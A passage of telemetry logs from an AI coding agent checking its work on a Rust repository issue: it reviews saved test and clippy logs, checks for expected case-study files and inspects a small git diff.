azJKyYNv62ycIIIBYMdSZWrWqcfTNkLMcSVAvx3HMPpqr2GzdaC1q5QQFA3kouq1ucQMLT1SrP_grf0hf9k_b5KVU=\"), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:07:17.201Z] [INFO] \n[2026-07-12T04:07:17.209Z] [INFO] {\"type\":\"item.completed\",\"item\":{\"id\":\"item_35\",\"type\":\"reasoning\",\"text\":\"**Inspecting logs and link references**\"}}\n[2026-07-12T04:07:17.209Z] [INFO] \n[2026-07-12T04:07:17.215Z] [INFO] 2026-07-12T04:07:17.206646Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=CustomToolCall { id: Some(\"ctc_0e255b39bbad6b0b016a5312f52ee88191b55f4c4dd7fe0fd4\"), status: Some(\"in_progress\"), call_id: \"call_761zjkptO5OcP0D9deqkTmWv\", name: \"exec\", namespace: None, input: \"\", internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:07:17.215Z] [INFO] \n[2026-07-12T04:07:21.497Z] [INFO] 2026-07-12T04:07:21.497027Z  INFO feedback_tags: last_model_response_id=\"resp_0e255b39bbad6b0b016a5312f16bfc819194af2166f886cabd\"\n[2026-07-12T04:07:21.497Z] [INFO] 2026-07-12T04:07:21.497089Z  INFO codex_otel.log_only: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=61328 output_token_count=348 cached_token_count=60160 reasoning_token_count=89 tool_token_count=61676 ttft_ms=1804 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:07:21.497Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:21.497Z] [INFO] 2026-07-12T04:07:21.497111Z  INFO codex_otel.trace_safe: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=61328 output_token_count=348 cached_token_count=60160 reasoning_token_count=89 tool_token_count=61676 ttft_ms=1804 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:07:21.497Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:21.497Z] [INFO] 2026-07-12T04:07:21.497174Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: ToolCall: exec const r=await tools.exec_command({cmd:\"for f in /tmp/meta-ontology-issue5-cargo-test.log /tmp/meta-ontology-issue5-doc-test.log /tmp/meta-ontology-issue5-clippy.log /tmp/meta-ontology-issue5-file-size.log; do wc -l \\\"$f\\\"; tail -20 \\\"$f\\\"; done\\njq empty docs/case-studies/issue-5/raw-data/*.json\\nfor target in docs/case-studies/issue-5/source-inventory.md docs/case-studies/issue-5/openmetadata-analysis.md docs/case-studies/issue-5/requirements-and-solutions.md docs/case-studies/issue-5/raw-data/issue-5.json docs/case-studies/issue-5/raw-data/research-observations.json; do test -f \\\"$target\\\" || exit 1; done\\ngit diff --stat && git diff -- . ':!Cargo.lock' | sed -n '1,1500p'\",\"workdir\":\"/tmp/gh-issue-solver-1783828904396\",\"yield_time_ms\":10000,\"max_output_tokens\":50000});\n[2026-07-12T04:07:21.497Z] [INFO] text(r.output);\n[2026-07-12T04:07:21.497Z] [INFO]  thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77\n[2026-07-12T04:07:21.497Z] [INFO] \n[2026-07-12T04:07:21.783Z] [INFO] 2026-07-12T04:07:21.781146Z  INFO codex_otel.log_only: event.name=\"codex.tool_decision\" tool_name=exec_command call_id=exec-a7f13bbf-cb68-4711-8ce0-e82bb92bf20c decision=approved source=Config event.timestamp=2026-07-12T04:07:21.781Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:21.783Z] [INFO] \n[2026-07-12T04:07:21.959Z] [INFO] {\"type\":\"item.started\",\"item\":{\"id\":\"item_36\",\"type\":\"command_execution\",\"command\":\"/bin/bash -lc 'for f in /tmp/meta-ontology-issue5-cargo-test.log /tmp/meta-ontology-issue5-doc-test.log /tmp/meta-ontology-issue5-clippy.log /tmp/meta-ontology-issue5-file-size.log; do wc -l \\\"$f\\\"; tail -20 \\\"$f\\\"; done\\njq empty docs/case-studies/issue-5/raw-data/*.json\\nfor target in docs/case-studies/issue-5/source-inventory.md docs/case-studies/issue-5/openmetadata-analysis.md docs/case-studies/issue-5/requirements-and-solutions.md docs/case-studies/issue-5/raw-data/issue-5.json docs/case-studies/issue-5/raw-data/research-observations.json; do test -f \\\"$target\\\" || exit 1; done\\ngit diff --stat && git diff -- . '\\\"':\\\"'!Cargo.lock'\\\"' | sed -n '1,1500p'\\\"\",\"aggregated_output\":\"\",\"exit_code\":null,\"status\":\"in_progress\"}}\n[2026-07-12T04:07:21.959Z] [INFO] \n[2026-07-12T04:07:21.968Z] [INFO] 2026-07-12T04:07:21.961501Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=exec_command call_id=exec-a7f13bbf-cb68-4711-8ce0-e82bb92bf20c arguments={\"cmd\":\"for f in /tmp/meta-ontology-issue5-cargo-test.log /tmp/meta-ontology-issue5-doc-test.log /tmp/meta-ontology-issue5-clippy.log /tmp/meta-ontology-issue5-file-size.log; do wc -l \\\"$f\\\"; tail -20 \\\"$f\\\"; done\\njq empty docs/case-studies/issue-5/raw-data/*.json\\nfor target in docs/case-studies/issue-5/source-inventory.md docs/case-studies/issue-5/openmetadata-analysis.md docs/case-studies/issue-5/requirements-and-solutions.md docs/case-studies/issue-5/raw-data/issue-5.json docs/case-studies/issue-5/raw-data/research-observations.json; do test -f \\\"$target\\\" || exit 1; done\\ngit diff --stat && git diff -- . ':!Cargo.lock' | sed -n '1,1500p'\",\"workdir\":\"/tmp/gh-issue-solver-1783828904396\",\"yield_time_ms\":10000,\"max_output_tokens\":50000} duration_ms=182 success=true output=Chunk ID: 15d46c\n[2026-07-12T04:07:21.968Z] [INFO] Wall time: 0.0000 seconds\n[2026-07-12T04:07:21.968Z] [INFO] Process exited with code 0\n[2026-07-12T04:07:21.968Z] [INFO] Original token count: 1869\n[2026-07-12T04:07:21.968Z] [INFO] Output:\n[2026-07-12T04:07:21.968Z] [INFO] 239 /tmp/meta-ontology-issue5-cargo-test.log\n[2026-07-12T04:07:21.968Z] [INFO] test ci_cd::workspace_manifest_resolution::rust_root_prefers_explicit_parameter ... ok\n[2026-07-12T04:07:21.968Z] [INFO] test ci_cd::workspace_manifest_resolution::errors_when_workspace_has_no_publishable_members ... ok\n[2026-07-12T04:07:21.968Z] [INFO] test ci_cd::workspace_manifest_resolution::resolves_root_package_manifest_when_package_exists ... ok\n[2026-07-12T04:07:21.968Z] [INFO] test ci_cd::workspace_manifest_resolution::resolves_first_publishable_workspace_member ... ok\n[2026-07-12T04:07:21.968Z] [INFO] test ontology::cycle_thing_concept_thing_present ... ok\n[2026-07-12T04:07:21.968Z] [INFO] test words::scan_skips_code_blocks ... ok\n[2026-07-12T04:07:21.968Z] [INFO] test ontology::nsm_count_at_least_64_primes ... ok\n[2026-07-12T04:07:21.968Z] [INFO] test words::scan_known_word_passes ... ok\n[2026-07-12T04:07:21.968Z] [INFO] test ontology::loader_finds_seed_concepts ... ok\n[2026-07-12T04:07:21.968Z] [INFO] test words::scan_unknown_word_reports_it ... ok\n[2026-07-12T04:07:21.968Z] [INFO] \n[2026-07-12T04:07:21.968Z] [INFO] test result: ok. 18 passed; 0 failed; 0 ignored; 0 measured; 0 filtered out; finished in 0.14s\n[2026-07-12T04:07:21.968Z] [INFO] \n[2026-07-12T04:07:21.968Z] [INFO]    Doc-tests meta_ontology\n[2026-07-12T04:07:21.968Z] [INFO]      Running `/home/box/.rustup/toolchains/stable-x86_64-unknown-linux-gnu/bin/rustdoc --edition=2021 --crate-type lib --color auto --crate-name meta_ontology --test src/lib.rs --test-run-directory /tmp/gh-issue-solver-1783828904396 '--warn=clippy::pedantic' '--warn=clippy::nursery' '--warn=clippy::all' --forbid=unsafe_code '--allow=clippy::too_many_lines' '--allow=clippy::module_name_repetitions' '--allow=clippy::missing_panics_doc' '--allow=clippy::missing_errors_doc' --extern clap=/tmp/gh-issue-solver-1783828904396/target/debug/deps/libclap-abe464791dc8be94.rlib --extern links_notation=/tmp/gh-issue-solver-1783828904396/target/debug/deps/liblinks_notation-89fe34afb65003e2.rlib --extern lino_arguments=/tmp/gh-issue-solver-1783828904396/target/debug/deps/liblino_arguments-2abdcc6160c16a8c.rlib --extern meta_ontology=/tmp/gh-issue-solver-1783828904396/target/debug/deps/libmeta_ontology-bd17e6edefc4bed4.rlib --extern regex=/tmp/gh-issue-solver-1783828904396/target/debug/deps/libregex-581d605c091940c8.rlib --extern tempfile=/tmp/gh-issue-solver-1783828904396/target/debug/deps/libtempfile-2a\n[2026-07-12T04:07:21.968Z] [INFO] [... telemetry preview truncated ...] mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:07:21.961Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:21.968Z] [INFO] 2026-07-12T04:07:21.961548Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=exec_command call_id=exec-a7f13bbf-cb68-4711-8ce0-e82bb92bf20c duration_ms=182 success=true arguments_length=748 output_length=2086 output_line_count=22 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:07:21.961Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:21.968Z] [INFO] \n[2026-07-12T04:07:21.977Z] [INFO] {\"type\":\"item.completed\",\"item\":{\"id\":\"item_36\",\"type\":\"command_execution\",\"command\":\"/bin/bash -lc 'for f in /tmp/meta-ontology-issue5-cargo-test.log /tmp/meta-ontology-issue5-doc-test.log /tmp/meta-ontology-issue5-clippy.log /tmp/meta-ontology-issue5-file-size.log; do wc -l \\\"$f\\\"; tail -20 \\\"$f\\\"; done\\njq empty docs/case-studies/issue-5/raw-data/*.json\\nfor target in docs/case-studies/issue-5/source-inventory.md docs/case-studies/issue-5/openmetadata-analysis.md docs/case-studies/issue-5/requirements-and-solutions.md docs/case-studies/issue-5/raw-data/issue-5.json docs/case-studies/issue-5/raw-data/research-observations.json; do test -f \\\"$target\\\" || exit 1; done\\ngit diff --stat && git diff -- . '\\\"':\\\"'!Cargo.lock'\\\"' | sed -n '1,1500p'\\\"\",\"aggregated_output\":\"239 /tmp/meta-ontology-issue5-cargo-test.log\\ntest ci_cd::workspace_manifest_resolution::rust_root_prefers_explicit_parameter ... ok\\ntest ci_cd::workspace_manifest_resolution::errors_when_workspace_has_no_publishable_members ... ok\\ntest ci_cd::workspace_manifest_resolution::resolves_root_package_manifest_when_package_exists ... ok\\ntest ci_cd::workspace_manifest_resolution::resolves_first_publishable_workspace_member ... ok\\ntest ontology::cycle_thing_concept_thing_present ... ok\\ntest words::scan_skips_code_blocks ... ok\\ntest ontology::nsm_count_at_least_64_primes ... ok\\ntest words::scan_known_word_passes ... ok\\ntest ontology::loader_finds_seed_concepts ... ok\\ntest words::scan_unknown_word_reports_it ... ok\\n\\ntest result: ok. 18 passed; 0 failed; 0 ignored; 0 measured; 0 filtered out; finished in 0.14s\\n\\n   Doc-tests meta_ontology\\n     Running `/home/box/.rustup/toolchains/stable-x86_64-unknown-linux-gnu/bin/rustdoc --edition=2021 --crate-type lib --color auto --crate-name meta_ontology --test src/lib.rs --test-run-directory /tmp/gh-issue-solver-1783828904396 '--warn=clippy::pedantic' '--warn=clippy::nursery' '--warn=clippy::all' --forbid=unsafe_code '--allow=clippy::too_many_lines' '--allow=clippy::module_name_repetitions' '--allow=clippy::missing_panics_doc' '--allow=clippy::missing_errors_doc' --extern clap=/tmp/gh-issue-solver-1783828904396/target/debug/deps/libclap-abe464791dc8be94.rlib --extern links_notation=/tmp/gh-issue-solver-1783828904396/target/debug/deps/liblinks_notation-89fe34afb65003e2.rlib --extern lino_arguments=/tmp/gh-issue-solver-1783828904396/target/debug/deps/liblino_arguments-2abdcc6160c16a8c.rlib --extern meta_ontology=/tmp/gh-issue-solver-1783828904396/target/debug/deps/libmeta_ontology-bd17e6edefc4bed4.rlib --extern regex=/tmp/gh-issue-solver-1783828904396/target/debug/deps/libregex-581d605c091940c8.rlib --extern tempfile=/tmp/gh-issue-solver-1783828904396/target/debug/deps/libtempfile-2a24bcb7e5efe8c3.rlib --extern thiserror=/tmp/gh-issue-solver-1783828904396/target/debug/deps/libthiserror-ea7d728d197187f8.rlib --extern walkdir=/tmp/gh-issue-solver-1783828904396/target/debug/deps/libwalkdir-60ff32ac66bb5512.rlib -L dependency=/tmp/gh-issue-solver-1783828904396/target/debug/deps -C embed-bitcode=no --cfg 'feature=\\\"codec\\\"' --cfg 'feature=\\\"default\\\"' --check-cfg 'cfg(docsrs,test)' --check-cfg 'cfg(feature, values(\\\"codec\\\", \\\"default\\\"))' --error-format human`\\n\\nrunning 0 tests\\n\\ntest result: ok. 0 passed; 0 failed; 0 ignored; 0 measured; 0 filtered out; finished in 0.00s\\n\\n59 /tmp/meta-ontology-issue5-doc-test.log\\n       Fresh walkdir v2.5.0\\n       Fresh rustix v1.1.4\\n       Fresh regex-automata v0.4.14\\n       Fresh getrandom v0.4.2\\n       Fresh lino-arguments v0.3.0\\n       Fresh links-notation v0.13.0\\n       Fresh once_cell v1.21.4\\n       Fresh fastrand v2.4.1\\n       Fresh regex v1.12.3\\n   Compiling meta-ontology v0.8.0 (/tmp/gh-issue-solver-1783828904396)\\n       Fresh tempfile v3.27.0\\n     Running `/home/box/.rustup/toolchains/stable-x86_64-unknown-linux-gnu/bin/rustc --crate-name meta_ontology --edition=2021 src/lib.rs --error-format=json --json=diagnostic-rendered-ansi,artifacts,future-incompat --crate-type lib --emit=dep-info,metadata,link -C embed-bitcode=no -C debuginfo=2 '--warn=clippy::pedantic' '--warn=clippy::nursery' '--warn=clippy::all' --forbid=unsafe_code '--allow=clippy::too_many_lines' '--allow=clippy::module_name_repetitions' '--allow=clippy::missing_panics_doc' '--allow=clippy::missing_errors_doc' --cfg 'feature=\\\"default\\\"' --check-cfg 'cfg(docsrs,test)' --check-cfg 'cfg(feature, values(\\\"codec\\\", \\\"default\\\"))' -C metadata=0b971963bf830c8f -C extra-filename=-3bcfd0859211b5b2 --out-dir /tmp/gh-issue-solver-1783828904396/target/debug/deps -C incremental=/tmp/gh-issue-solver-1783828904396/target/debug/incremental -L dependency=/tmp/gh-issue-solver-1783828904396/target/debug/deps --extern clap=/tmp/gh-issue-solver-1783828904396/target/debug/deps/libclap-abe464791dc8be94.rmeta --extern links_notation=/tmp/gh-issue-solver-1783828904396/target/debug/deps/liblinks_notation-89fe34afb65003e2.rmeta --extern lino_arguments=/tmp/gh-issue-solver-1783828904396/target/debug/deps/liblino_arguments-2abdcc6160c16a8c.rmeta --extern thiserror=/tmp/gh-issue-solver-1783828904396/target/debug/deps/libthiserror-ea7d728d197187f8.rmeta --extern walkdir=/tmp/gh-issue-solver-1783828904396/target/debug/deps/libwalkdir-60ff32ac66bb5512.rmeta`\\n    Finished `test` profile [unoptimized + debuginfo] target(s) in 1.80s\\n   Doc-tests meta_ontology\\n     Running `/home/box/.rustup/toolchains/stable-x86_64-unknown-linux-gnu/bin/rustdoc --edition=2021 --crate-type lib --color auto --crate-name meta_ontology --test src/lib.rs --test-run-directory /tmp/gh-issue-solver-1783828904396 '--warn=clippy::pedantic' '--warn=clippy::nursery' '--warn=clippy::all' --forbid=unsafe_code '--allow=clippy::too_many_lines' '--allow=clippy::module_name_repetitions' '--allow=clippy::missing_panics_doc' '--allow=clippy::missing_errors_doc' --extern clap=/tmp/gh-issue-solver-1783828904396/target/debug/deps/libclap-abe464791dc8be94.rlib --extern links_notation=/tmp/gh-issue-solver-1783828904396/target/debug/deps/liblinks_notation-89fe34afb65003e2.rlib --extern lino_arguments=/tmp/gh-issue-solver-1783828904396/target/debug/deps/liblino_arguments-2abdcc6160c16a8c.rlib --extern meta_ontology=/tmp/gh-issue-solver-1783828904396/target/debug/deps/libmeta_ontology-3bcfd0859211b5b2.rlib --extern regex=/tmp/gh-issue-solver-1783828904396/target/debug/deps/libregex-581d605c091940c8.rlib --extern tempfile=/tmp/gh-issue-solver-1783828904396/target/debug/deps/libtempfile-2a24bcb7e5efe8c3.rlib --extern thiserror=/tmp/gh-issue-solver-1783828904396/target/debug/deps/libthiserror-ea7d728d197187f8.rlib --extern walkdir=/tmp/gh-issue-solver-1783828904396/target/debug/deps/libwalkdir-60ff32ac66bb5512.rlib -L dependency=/tmp/gh-issue-solver-1783828904396/target/debug/deps -C embed-bitcode=no --cfg 'feature=\\\"default\\\"' --check-cfg 'cfg(docsrs,test)' --check-cfg 'cfg(feature, values(\\\"codec\\\", \\\"default\\\"))' --error-format human`\\n\\nrunning 0 tests\\n\\ntest result: ok. 0 passed; 0 failed; 0 ignored; 0 measured; 0 filtered out; finished in 0.00s\\n\\n40 /tmp/meta-ontology-issue5-clippy.log\\n    Checking linux-raw-sys v0.12.1\\n    Checking regex-syntax v0.8.10\\n    Checking clap_builder v4.5.60\\n    Checking nom v8.0.0\\n    Checking aho-corasick v1.1.4\\n    Checking bitflags v2.11.1\\n    Checking cfg-if v1.0.4\\n    Checking rustix v1.1.4\\n    Checking getrandom v0.4.2\\n    Checking clap v4.5.60\\n    Checking once_cell v1.21.4\\n    Checking fastrand v2.4.1\\n    Checking regex-automata v0.4.14\\n    Checking serde v1.0.228\\n    Checking tempfile v3.27.0\\n    Checking lino-arguments v0.3.0\\n    Checking links-notation v0.13.0\\n    Checking meta-ontology v0.8.0 (/tmp/gh-issue-solver-1783828904396)\\n    Checking regex v1.12.3\\n    Finished `dev` profile [unoptimized + debuginfo] target(s) in 12.60s\\n1 /tmp/meta-ontology-issue5-file-size.log\\n/bin/bash: line 1: rust-script: command not found\\n/bin/bash: line 2: jq: command not found\\n .gitkeep   | 1 -\\n Cargo.lock | 2 +-\\n 2 files changed, 1 insertion(+), 2 deletions(-)\\ndiff --git a/.gitkeep b/.gitkeep\\ndeleted file mode 100644\\nindex 246ae17..0000000\\n--- a/.gitkeep\\n+++ /dev/null\\n@@ -1 +0,0 @@\\n-# .gitkeep file auto-generated at 2026-07-12T04:01:46.538Z for PR creation at branch issue-5-e2602184e2c5 for issue https://github.com/link-foundation/meta-ontology/issues/5\\n\\\\ No newline at end of file\\n\",\"exit_code\":0,\"status\":\"completed\"}}\n[2026-07-12T04:07:21.977Z] [INFO] \n[2026-07-12T04:07:22.058Z] [INFO] 2026-07-12T04:07:21.976013Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=exec call_id=call_761zjkptO5OcP0D9deqkTmWv arguments=const r=await tools.exec_command({cmd:\"for f in /tmp/meta-ontology-issue5-cargo-test.log /tmp/meta-ontology-issue5-doc-test.log /tmp/meta-ontology-issue5-clippy.log /tmp/meta-ontology-issue5-file-size.log; do wc -l \\\"$f\\\"; tail -20 \\\"$f\\\"; done\\njq empty docs/case-studies/issue-5/raw-data/*.json\\nfor target in docs/case-studies/issue-5/source-inventory.md docs/case-studies/issue-5/openmetadata-analysis.md docs/case-studies/issue-5/requirements-and-solutions.md docs/case-studies/issue-5/raw-data/issue-5.json docs/case-studies/issue-5/raw-data/research-observations.json; do test -f \\\"$target\\\" || exit 1; done\\ngit diff --stat && git diff -- . ':!Cargo.lock' | sed -n '1,1500p'\",\"workdir\":\"/tmp/gh-issue-solver-1783828904396\",\"yield_time_ms\":10000,\"max_output_tokens\":50000});\n[2026-07-12T04:07:22.058Z] [INFO] text(r.output);\n[2026-07-12T04:07:22.058Z] [INFO]  duration_ms=370 success=true output=Script completed\n[2026-07-12T04:07:22.058Z] [INFO] Wall time 0.3 seconds\n[2026-07-12T04:07:22.058Z] [INFO] Output:\n[2026-07-12T04:07:22.058Z] [INFO] \n[2026-07-12T04:07:22.058Z] [INFO] 239 /tmp/meta-ontology-issue5-cargo-test.log\n[2026-07-12T04:07:22.058Z] [INFO] test ci_cd::workspace_manifest_resolution::rust_root_prefers_explicit_parameter ... ok\n[2026-07-12T04:07:22.058Z] [INFO] test ci_cd::workspace_manifest_resolution::errors_when_workspace_has_no_publishable_members ... ok\n[2026-07-12T04:07:22.058Z] [INFO] test ci_cd::workspace_manifest_resolution::resolves_root_package_manifest_when_package_exists ... ok\n[2026-07-12T04:07:22.058Z] [INFO] test ci_cd::workspace_manifest_resolution::resolves_first_publishable_workspace_member ... ok\n[2026-07-12T04:07:22.058Z] [INFO] test ontology::cycle_thing_concept_thing_present ... ok\n[2026-07-12T04:07:22.058Z] [INFO] test words::scan_skips_code_blocks ... ok\n[2026-07-12T04:07:22.058Z] [INFO] test ontology::nsm_count_at_least_64_primes ... ok\n[2026-07-12T04:07:22.058Z] [INFO] test words::scan_known_word_passes ... ok\n[2026-07-12T04:07:22.058Z] [INFO] test ontology::loader_finds_seed_concepts ... ok\n[2026-07-12T04:07:22.058Z] [INFO] test words::scan_unknown_word_reports_it ... ok\n[2026-07-12T04:07:22.058Z] [INFO] \n[2026-07-12T04:07:22.058Z] [INFO] test result: ok. 18 passed; 0 failed; 0 ignored; 0 measured; 0 filtered out; finished in 0.14s\n[2026-07-12T04:07:22.058Z] [INFO] \n[2026-07-12T04:07:22.058Z] [INFO]    Doc-tests meta_ontology\n[2026-07-12T04:07:22.058Z] [INFO]      Running `/home/box/.rustup/toolchains/stable-x86_64-unknown-linux-gnu/bin/rustdoc --edition=2021 --crate-type lib --color auto --crate-name meta_ontology --test src/lib.rs --test-run-directory /tmp/gh-issue-solver-1783828904396 '--warn=clippy::pedantic' '--warn=clippy::nursery' '--warn=clippy::all' --forbid=unsafe_code '--allow=clippy::too_many_lines' '--allow=clippy::module_name_repetitions' '--allow=clippy::missing_panics_doc' '--allow=clippy::missing_errors_doc' --extern clap=/tmp/gh-issue-solver-1783828904396/target/debug/deps/libclap-abe464791dc8be94.rlib --extern links_notation=/tmp/gh-issue-solver-1783828904396/target/debug/deps/liblinks_notation-89fe34afb65003e2.rlib --extern lino_arguments=/tmp/gh-issue-solver-1783828904396/target/debug/deps/liblino_arguments-2abdcc6160c16a8c.rlib --extern meta_ontology=/tmp/gh-issue-solver-1783828904396/target/debug/deps/libmeta_ontology-bd17e6edefc4bed4.rlib --extern regex=/tmp/gh-issue-solver-1783828904396/target/debug/deps/libregex-581d605c091940c8.rlib --extern tempfile=/tmp/gh-issue-solver-1783828904396/target/debug/deps/libtempfile-2a24bcb7e5efe8c3.rlib --extern thiserror=/tmp/gh-issue-solv\n[2026-07-12T04:07:22.058Z] [INFO] [... telemetry preview truncated ...] mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:07:21.976Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:22.058Z] [INFO] 2026-07-12T04:07:21.976068Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=exec call_id=call_761zjkptO5OcP0D9deqkTmWv duration_ms=370 success=true arguments_length=798 output_length=2086 output_line_count=21 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:07:21.976Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:22.058Z] [INFO] 2026-07-12T04:07:21.976302Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::tools::parallel: tool call completed event.name=\"codex.tool_call\" trace_id= conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn_id=019f547d-6ea8-7232-8540-37894db8bb13 tool_name=exec call_id=call_761zjkptO5OcP0D9deqkTmWv tool_source=\"direct\" execution_started=true dispatch_duration_ms=0 handler_duration_ms=371 total_duration_ms=371\n[2026-07-12T04:07:22.058Z] [INFO] \n[2026-07-12T04:07:22.070Z] [INFO] 2026-07-12T04:07:22.060645Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:07:22.070Z] [INFO] \n[2026-07-12T04:07:22.077Z] [INFO] 2026-07-12T04:07:22.074748Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: feedback_tags: model=\"gpt-5.6-sol\" approval_policy=Never sandbox_policy=DangerFullAccess effort=Some(Medium) auth_mode=Some(Chatgpt) features=[ShellTool, CodexHooks, CodeModeHost, UnifiedExec, TerminalResizeReflow, ShellSnapshot, EnableRequestCompression, Collab, Apps, ToolSearchAlwaysDeferMcpTools, ToolSuggest, Plugins, InAppBrowser, BrowserUse, BrowserUseFullCdpAccess, BrowserUseExternal, ComputerUse, RemotePlugin, PluginSharing, ImageGeneration, ResizeAllImages, SkillMcpDependencyInstall, MentionsV2, GuardianApproval, Goals, ToolCallMcpElicitation, AuthElicitation, Personality, FastMode, RemoteCompactionV2, WorkspaceDependencies, Sqlite, Steer, CollaborationModes, TuiAppServer]\n[2026-07-12T04:07:22.077Z] [INFO] \n[2026-07-12T04:07:22.082Z] [INFO] 2026-07-12T04:07:22.080296Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.log_only: event.name=\"codex.websocket_request\" duration_ms=0 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:07:22.080Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:22.082Z] [INFO] 2026-07-12T04:07:22.080963Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 